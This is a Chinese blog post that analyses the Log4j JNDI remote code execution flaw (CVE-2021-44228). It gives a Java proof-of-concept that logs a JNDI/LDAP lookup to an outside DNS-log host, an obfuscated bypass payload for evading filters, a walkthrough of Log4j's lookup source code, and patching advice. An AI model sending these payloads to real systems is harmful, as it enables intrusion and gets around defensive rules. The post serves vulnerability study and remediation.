Apache Log4j 远程命令执行漏洞CVE-2021-44228

Apache Log4j 远程命令执行漏洞,CVE-2021-44228
通过jndi协议远程调用恶意类执行命令

影响范围

Apache Log4j 2.x <= 2.15.0-rc1 版本均受影响。

2.15.0-rc1默认不受影响,除非主动开了lookup相关开关

环境

<dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-api</artifactId>
    <version>2.14.1</version>
</dependency>
<dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-core</artifactId>
    <version>2.14.1</version>
</dependency>

poc

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class Test {
    private static final Logger logger = LogManager.getLogger();

    public static void main(String[] args) {
        logger.error("123 ${jndi:ldap://m29.xxx.dnslog.io:51212/} 456");
    }
}

在这里插入图片描述
Apache Log4j 远程命令执行绕过payload,有些Log4j版本不受下面绕过的风险

${${qwe:a:-j}ndi:l${lower:D}ap://m27.dnslog.cn:51212/}

调试

我们直接进入关键函数org.apache.logging.log4j.core.pattern.MessagePatternConverter#format

public void format(final LogEvent event, final StringBuilder toAppendTo) {
        Message msg = event.getMessage();
        if (msg instanceof StringBuilderFormattable) {
            boolean doRender = this.textRenderer != null;
            StringBuilder workingBuilder = doRender ? new StringBuilder(80) : toAppendTo;
            int offset = workingBuilder.length();
            if (msg instanceof MultiFormatStringBuilderFormattable) {
                ((MultiFormatStringBuilderFormattable)msg).formatTo(this.formats, workingBuilder);
            } else {
                ((StringBuilderFormattable)msg).formatTo(workingBuilder);
            }

            if (this.config != null && !this.noLookups) {
                for(int i = offset; i < workingBuilder.length() - 1; ++i) {
                    if (workingBuilder.charAt(i) == '$' && workingBuilder.charAt(i + 1) == '{') {
                        String value = workingBuilder.substring(offset, workingBuilder.length());
                        workingBuilder.setLength(offset);
                        workingBuilder.append(this.config.getStrSubstitutor().replace(event, value));
                    }
                }
            }

            if (doRender) {
                this.textRenderer.render(workingBuilder, toAppendTo);
            }

        } else {
            if (msg != null) {
                String result;
                if (msg instanceof MultiformatMessage) {
                    result = ((MultiformatMessage)msg).getFormattedMessage(this.formats);
                } else {
                    result = msg.getFormattedMessage();
                }

                if (result != null) {
                    toAppendTo.append(this.config != null && result.contains("${") ? this.config.getStrSubstitutor().replace(event, result) : result);
                } else {
                    toAppendTo.append("null");
                }
            }

        }
    }

从函数中我们可以看到它会对 ‘{’ 和 ‘$’ 进行解析,接着进入org.apache.logging.log4j.core.lookup.StrSubstitutor#replace(org.apache.logging.log4j.core.LogEvent, java.lang.String)函数

    public String replace(final LogEvent event, final String source) {
        if (source == null) {
            return null;
        } else {
            StringBuilder buf = new StringBuilder(source);
            return !this.substitute(event, buf, 0, source.length()) ? source : buf.toString();
        }
    }

继续进入org.apache.logging.log4j.core.lookup.StrSubstitutor#substitute(org.apache.logging.log4j.core.LogEvent, java.lang.StringBuilder, int, int, java.util.List<java.lang.String>),这个函数逻辑较为复杂,主要作用是递归处理日志输入,然后转换为对应的输出

private int substitute(final LogEvent event, final StringBuilder buf, final int offset, final int length, List<String> priorVariables) {
        StrMatcher prefixMatcher = this.getVariablePrefixMatcher();
        StrMatcher suffixMatcher = this.getVariableSuffixMatcher();
        char escape = this.getEscapeChar();
        StrMatcher valueDelimiterMatcher = this.getValueDelimiterMatcher();
        boolean substitutionInVariablesEnabled = this.isEnableSubstitutionInVariables();
        boolean top = priorVariables == null;
        boolean altered = false;
        int lengthChange = 0;
        char[] chars = this.getChars(buf);
        int bufEnd = offset + length;
        int pos = offset;

        while(true) {
            label117:
            while(pos < bufEnd) {
                int startMatchLen = prefixMatcher.isMatch(chars, pos, offset, bufEnd);
                if (startMatchLen == 0) {
                    ++pos;
                } else if (pos > offset && chars[pos - 1] == escape) {
                    buf.deleteCharAt(pos - 1);
                    chars = this.getChars(buf);
                    --lengthChange;
                    altered = true;
                    --bufEnd;
                } else {
                    int startPos = pos;
                    pos += startMatchLen;
                    int endMatchLen = false;
                    int nestedVarCount = 0;

                    while(true) {
                        while(true) {
                            if (pos >= bufEnd) {
                                continue label117;
                            }

                            int endMatchLen;
                            if (substitutionInVariablesEnabled && (endMatchLen = prefixMatcher.isMatch(chars, pos, offset, bufEnd)) != 0) {
                                ++nestedVarCount;
                                pos += endMatchLen;
                            } else {
                                endMatchLen = suffixMatcher.isMatch(chars, pos, offset, bufEnd);
                                if (endMatchLen == 0) {
                                    ++pos;
                                } else {
                                    if (nestedVarCount == 0) {
                                        String varNameExpr = new String(chars, startPos + startMatchLen, pos - startPos - startMatchLen);
                                        if (substitutionInVariablesEnabled) {
                                            StringBuilder bufName = new StringBuilder(varNameExpr);
                                            this.substitute(event, bufName, 0, bufName.length());
                                            varNameExpr = bufName.toString();
                                        }

                                        pos += endMatchLen;
                                        String varName = varNameExpr;
                                        String varDefaultValue = null;
                                        int i;
                                        int valueDelimiterMatchLen;
                                        if (valueDelimiterMatcher != null) {
                                            char[] varNameExprChars = varNameExpr.toCharArray();
                                            int valueDelimiterMatchLen = false;

                                            label100:
                                            for(i = 0; i < varNameExprChars.length && (substitutionInVariablesEnabled || prefixMatcher.isMatch(varNameExprChars, i, i, varNameExprChars.length) == 0); ++i) {
                                                if (this.valueEscapeDelimiterMatcher != null) {
                                                    int matchLen = this.valueEscapeDelimiterMatcher.isMatch(varNameExprChars, i);
                                                    if (matchLen != 0) {
                                                        String varNamePrefix = varNameExpr.substring(0, i) + ':';
                                                        varName = varNamePrefix + varNameExpr.substring(i + matchLen - 1);
                                                        int j = i + matchLen;

                                                        while(true) {
                                                            if (j >= varNameExprChars.length) {
                                                                break label100;
                                                            }

                                                            if ((valueDelimiterMatchLen = valueDelimiterMatcher.isMatch(varNameExprChars, j)) != 0) {
                                                                varName = varNamePrefix + varNameExpr.substring(i + matchLen, j);
                                                                varDefaultValue = varNameExpr.substring(j + valueDelimiterMatchLen);
                                                                break label100;
                                                            }

                                                            ++j;
                                                        }
                                                    }

                                                    if ((valueDelimiterMatchLen = valueDelimiterMatcher.isMatch(varNameExprChars, i)) != 0) {
                                                        varName = varNameExpr.substring(0, i);
                                                        varDefaultValue = varNameExpr.substring(i + valueDelimiterMatchLen);
                                                        break;
                                                    }
                                                } else if ((valueDelimiterMatchLen = valueDelimiterMatcher.isMatch(varNameExprChars, i)) != 0) {
                                                    varName = varNameExpr.substring(0, i);
                                                    varDefaultValue = varNameExpr.substring(i + valueDelimiterMatchLen);
                                                    break;
                                                }
                                            }
                                        }

                                        if (priorVariables == null) {
                                            priorVariables = new ArrayList();
                                            ((List)priorVariables).add(new String(chars, offset, length + lengthChange));
                                        }

                                        this.checkCyclicSubstitution(varName, (List)priorVariables);
                                        ((List)priorVariables).add(varName);
                                        String varValue = this.resolveVariable(event, varName, buf, startPos, pos);
                                        if (varValue == null) {
                                            varValue = varDefaultValue;
                                        }

                                        if (varValue != null) {
                                            valueDelimiterMatchLen = varValue.length();
                                            buf.replace(startPos, pos, varValue);
                                            altered = true;
                                            i = this.substitute(event, buf, startPos, valueDelimiterMatchLen, (List)priorVariables);
                                            i += valueDelimiterMatchLen - (pos - startPos);
                                            pos += i;
                                            bufEnd += i;
                                            lengthChange += i;
                                            chars = this.getChars(buf);
                                        }

                                        ((List)priorVariables).remove(((List)priorVariables).size() - 1);
                                        continue label117;
                                    }

                                    --nestedVarCount;
                                    pos += endMatchLen;
                                }
                            }
                        }
                    }
                }
            }

            if (top) {
                return altered ? 1 : 0;
            }

            return lengthChange;
        }
    }

这里的关键函数是resolveVariable,我们看到我们的payload已经赋值给了varName
在这里插入图片描述
继续跟进org.apache.logging.log4j.core.lookup.StrSubstitutor#resolveVariable函数

protected String resolveVariable(final LogEvent event, final String variableName, final StringBuilder buf, final int startPos, final int endPos) {
        StrLookup resolver = this.getVariableResolver();
        return resolver == null ? null : resolver.lookup(event, variableName);
    }

发现非常关键的lookup函数,继续跟进

public String lookup(final LogEvent event, String var) {
        if (var == null) {
            return null;
        } else {
            int prefixPos = var.indexOf(58);
            if (prefixPos >= 0) {
                String prefix = var.substring(0, prefixPos).toLowerCase(Locale.US);
                String name = var.substring(prefixPos + 1);
                StrLookup lookup = (StrLookup)this.strLookupMap.get(prefix);
                if (lookup instanceof ConfigurationAware) {
                    ((ConfigurationAware)lookup).setConfiguration(this.configuration);
                }

                String value = null;
                if (lookup != null) {
                    value = event == null ? lookup.lookup(name) : lookup.lookup(event, name);
                }

                if (value != null) {
                    return value;
                }

                var = var.substring(prefixPos + 1);
            }

            if (this.defaultLookup != null) {
                return event == null ? this.defaultLookup.lookup(var) : this.defaultLookup.lookup(event, var);
            } else {
                return null;
            }
        }
    }

可以看到支持的lookup对象,所以我们还可以这样使用

logger.error("${java:runtime}");

在这里插入图片描述
这里传入的是jndi,所以本次调试会调用JndiLookup.lookup函数,最终通过jndiManager.lookup(jndiName)函数实现远调

public String lookup(final LogEvent event, final String key) {
        if (key == null) {
            return null;
        } else {
            String jndiName = this.convertJndiName(key);

            try {
                JndiManager jndiManager = JndiManager.getDefaultManager();
                Throwable var5 = null;

                String var6;
                try {
                    var6 = Objects.toString(jndiManager.lookup(jndiName), (String)null);
                } catch (Throwable var16) {
                    var5 = var16;
                    throw var16;
                } finally {
                    if (jndiManager != null) {
                        if (var5 != null) {
                            try {
                                jndiManager.close();
                            } catch (Throwable var15) {
                                var5.addSuppressed(var15);
                            }
                        } else {
                            jndiManager.close();
                        }
                    }

                }

                return var6;
            } catch (NamingException var18) {
                LOGGER.warn(LOOKUP, "Error looking up JNDI resource [{}].", jndiName, var18);
                return null;
            }
        }
    }

修改建议

升级至 2.15.0-rc2

在jvm参数中添加 -Dlog4j2.formatMsgNoLookups=true

系统环境变量中将FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS设置为true

建议JDK使用11.0.1、8u191、7u201、6u211及以上的高版本

创建“log4j2.component.properties”文件,文件中增加配置“log4j2.formatMsgNoLookups=true”

限制受影响应用对外访问互联网

WAF添加漏洞攻击代码临时拦截规则。

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值